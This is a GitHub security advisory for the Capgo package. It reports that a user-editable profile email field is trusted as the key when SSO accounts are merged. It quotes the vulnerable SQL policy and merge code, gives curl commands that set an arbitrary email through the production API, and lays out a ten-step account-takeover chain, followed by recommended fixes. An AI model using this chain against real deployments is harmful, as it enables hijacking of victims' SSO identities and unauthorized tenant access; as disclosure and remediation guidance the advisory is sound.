Skip to content

User-controlled public.users.email can poison SSO account merge and attach victim SSO identity to attacker account

High
riderx published GHSA-wqc6-fhwf-qpww May 8, 2026

Package

capgo

Affected versions

<12.128.12

Patched versions

12.128.12

Description

Summary

An authenticated user can change their own public.users.email to an arbitrary email address, and the SSO provisioning flow later trusts that mutable profile email as an account-merge key.

This can let an attacker pre-position their account with a victim’s corporate SSO email address. When the real victim later signs in through SSO, /private/sso/provision-user can resolve the attacker’s public.users row as the canonical pre-existing account, provision the attacker-controlled user id into the victim SSO organization, transfer the victim’s SSO identity to it, and delete the duplicate SSO user.

Details

The root cause is a trust boundary mismatch between:

auth.users.email       = trusted identity email
public.users.email     = mutable profile email controlled by the row owner

The SSO merge flow should only merge into an account whose trusted auth.users.email matches the SSO email claim. Instead, it first searches public.users.email, which an attacker can modify.

Affected files and lines:

supabase/schemas/prod.sql:14883-14899

public.users.email is a normal table column:

CREATE TABLE IF NOT EXISTS "public"."users" (
    "created_at" timestamp with time zone DEFAULT "now"(),
    "image_url" character varying,
    "first_name" character varying,
    "last_name" character varying,
    "country" character varying,
    "email" character varying NOT NULL,
    "id" "uuid" NOT NULL,
    "updated_at" timestamp with time zone DEFAULT "now"(),
    "enable_notifications" boolean DEFAULT true NOT NULL,
    "opt_for_newsletters" boolean DEFAULT true NOT NULL,
    "ban_time" timestamp with time zone,
    "email_preferences" "jsonb" DEFAULT '{"onboarding": true, "usage_limit": true, "credit_usage": true, "device_error": true, "weekly_stats": true, "monthly_stats": true, "bundle_created": true, "bundle_deployed": true, "deploy_stats_24h": true, "cli_realtime_feed": true, "billing_period_stats": true, "channel_self_rejected": true}'::"jsonb" NOT NULL,
    "created_via_invite" boolean DEFAULT false NOT NULL
);
supabase/schemas/prod.sql:15383-15384

The primary key is only on id. I did not find a unique constraint tying public.users.email to identity ownership:

ALTER TABLE ONLY "public"."users"
    ADD CONSTRAINT "users_pkey" PRIMARY KEY ("id");
supabase/schemas/prod.sql:16466-16467

public.users.id references auth.users(id), but public.users.email is not constrained to match auth.users.email:

ALTER TABLE ONLY "public"."users"
    ADD CONSTRAINT "users_id_fkey" FOREIGN KEY ("id") REFERENCES "auth"."users"("id") ON DELETE CASCADE;
supabase/schemas/prod.sql:16707

The owner can update their own public.users row. This validates row ownership, but does not validate that the new public.users.email belongs to the authenticated user:

CREATE POLICY "Allow owner to update own users"
ON "public"."users"
FOR UPDATE TO "anon", "authenticated"
USING (
  (
    "id" = (
      SELECT "public"."get_identity"('{read,upload,write,all}'::"public"."key_mode"[])
    )
  )
  AND (
    SELECT "public"."is_not_deleted"("users"."email")
  )
)
WITH CHECK (
  (
    "id" = (
      SELECT "public"."get_identity"('{write,all}'::"public"."key_mode"[])
    )
  )
  AND (
    SELECT "public"."is_not_deleted"("users"."email")
  )
);

The SSO provisioning endpoint verifies that the incoming user authenticated through SSO, then uses the trusted SSO email claim as userEmail.

supabase/functions/_backend/private/sso/provision-user.ts:318-323

The vulnerable merge lookup uses the service-role client to search mutable public.users.email:

const { data: existingUser, error: existingUserError } = await (admin as any)
  .from('users')
  .select('id')
  .eq('email', userEmail)
  .neq('id', userId)
  .maybeSingle()
supabase/functions/_backend/private/sso/provision-user.ts:333

If this mutable public.users.email lookup returns a row, that row becomes the canonical account:

let resolvedExistingUserId: string | null = existingUser?.id ?? null
supabase/functions/_backend/private/sso/provision-user.ts:333-336

The safer fallback lookup uses auth.users.email, but it only runs if no matching row exists in public.users:

if (!resolvedExistingUserId) {
  const existingAuthUserId = await findCanonicalAuthUserIdByEmail(
    getSharedPgClient(),
    userEmail,
    userId,
    trustedSsoProviders
  )

  if (existingAuthUserId) {
    resolvedExistingUserId = existingAuthUserId
  }
}

This means an attacker-controlled public.users.email value can preempt the safer auth.users.email lookup.

supabase/functions/_backend/private/sso/provision-user.ts:376-386

The resolved user id is then provisioned into the SSO organization:

await ensurePublicUserRowExists(admin, requestId, {
  ...publicUserSeed,
  id: originalUserId,
})

await ensureOrgMembership(admin, requestId, originalUserId, mergeProvider.org_id)
supabase/functions/_backend/private/sso/provision-user.ts:392-394

The duplicate SSO identity is transferred to the resolved user id:

const transferredIdentityCount = await transferSsoIdentities(
  getSharedPgClient(),
  originalUserId,
  userId,
  trustedSsoProviders
)
supabase/functions/_backend/private/sso/provision-user.ts:420

The duplicate SSO auth user is then deleted:

const { error: deleteError } = await admin.auth.admin.deleteUser(userId)

The vulnerable behavior is that public.users.email is attacker-controlled profile data, but the SSO merge flow treats it as a trusted identity key.

PoC

I verified the dangerous primitive on production using my own account only. I did not perform a live SSO merge against another real tenant or victim user.

Environment used:

SUPA_HOST="https://xvwzpoazmxkqosrdewyv.supabase.co"
SUPA_KEY="sb_publishable_T8kEcJpf9PbGYLkArVCLHA_lAE0Hb0T"
FULL_KEY="<my_api_key>"
USER_ID="620a474c-f9fc-4d0b-bd42-9e5c1301af38"

Check my current public.users.email:

curl -sS "$SUPA_HOST/rest/v1/users?select=id,email&id=eq.$USER_ID" \
  -H "apikey: $SUPA_KEY" \
  -H "Authorization: Bearer $SUPA_KEY" \
  -H "capgkey: $FULL_KEY" | jq .

Result:

[
  {
    "id": "620a474c-f9fc-4d0b-bd42-9e5c1301af38",
    "email": "pal0x4@proton.me"
  }
]

Update my own public.users.email to an arbitrary email address:

TEST_EMAIL="sso-poison-test-1778138495@example.com"

curl -sS -i "$SUPA_HOST/rest/v1/users?id=eq.$USER_ID" \
  -X PATCH \
  -H "apikey: $SUPA_KEY" \
  -H "Authorization: Bearer $SUPA_KEY" \
  -H "capgkey: $FULL_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=representation" \
  --data '{"email":"'"$TEST_EMAIL"'"}'

Response:

[
  {
    "id": "620a474c-f9fc-4d0b-bd42-9e5c1301af38",
    "email": "sso-poison-test-1778138495@example.com",
    "updated_at": "2026-05-07T07:21:13.174769+00:00"
  }
]

Confirm the arbitrary email was persisted:

curl -sS "$SUPA_HOST/rest/v1/users?select=id,email&id=eq.$USER_ID" \
  -H "apikey: $SUPA_KEY" \
  -H "Authorization: Bearer $SUPA_KEY" \
  -H "capgkey: $FULL_KEY" | jq .

Result:

[
  {
    "id": "620a474c-f9fc-4d0b-bd42-9e5c1301af38",
    "email": "sso-poison-test-1778138495@example.com"
  }
]

I immediately restored my original email after the test:

ORIG_EMAIL="pal0x4@proton.me"

curl -sS -i "$SUPA_HOST/rest/v1/users?id=eq.$USER_ID" \
  -X PATCH \
  -H "apikey: $SUPA_KEY" \
  -H "Authorization: Bearer $SUPA_KEY" \
  -H "capgkey: $FULL_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=representation" \
  --data '{"email":"'"$ORIG_EMAIL"'"}'

Confirmed restored:

[
  {
    "id": "620a474c-f9fc-4d0b-bd42-9e5c1301af38",
    "email": "pal0x4@proton.me"
  }
]

Full exploit chain:

1. Attacker has a normal authenticated Capgo account.
2. Attacker updates their own public.users.email to victim@company.com.
3. company.com has an active SSO provider in Capgo.
4. The real victim signs in through SSO.
5. Supabase creates or uses an SSO-authenticated user for the victim.
6. /private/sso/provision-user receives the victim’s trusted SSO email claim.
7. The provisioning code searches public.users by email = victim@company.com.
8. Because the attacker poisoned their mutable public profile email, the service-role lookup resolves the attacker’s user id as the pre-existing canonical account.
9. The backend adds the attacker-controlled user id to the SSO org and transfers the victim’s SSO identity to that user id.
10. The duplicate SSO user is deleted.

Impact

This can let a normal authenticated user pre-position their account to be merged with a future SSO login for another email address.

Depending on session behavior and SSO enforcement, the impact can include:

- unauthorized membership in a victim SSO organization,
- transfer of a victim’s SSO identity to an attacker-controlled account,
- account merge corruption,
- potential durable access to the victim tenant as the merged user,
- deletion of the duplicate legitimate SSO user created during provisioning.

This is higher impact than a profile-edit issue because the mutable field is later consumed by a service-role identity merge path.

This does not appear to be intended behavior. Profile email editing may be intended, but using that mutable profile email as an identity-merge key is unsafe. The trusted identity email should come from auth.users.email or the verified SSO assertion, not from attacker-controlled public.users.email.

Strongest false-positive consideration:

I did not complete a live victim SSO merge against another real tenant or user. The confirmed live primitive is that an attacker can set their own public.users.email to an arbitrary address.

The reason I believe this is exploitable is that the SSO provisioning code uses service role to resolve public.users.email = userEmail before falling back to the safer auth.users.email lookup. If that row exists, the fallback never runs, and the subsequent code explicitly provisions org membership and transfers SSO identities to the resolved public.users.id.

Recommended fix:

Do not use mutable public.users.email as an identity-merge key.

Recommended changes:
1. In SSO merge, resolve existing accounts from auth.users.email, not public.users.email.
2. Only merge if the target account’s auth.users.email equals the SSO email claim.
3. Add an RLS WITH CHECK or trigger preventing users from changing public.users.email to a value different from their trusted auth email.
4. Consider making public.users.email read-only and syncing it only from trusted auth metadata.
5. Consider adding a unique lowercased canonical email constraint if public.users.email must represent identity email.

Severity

High

CVE ID

No known CVE

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits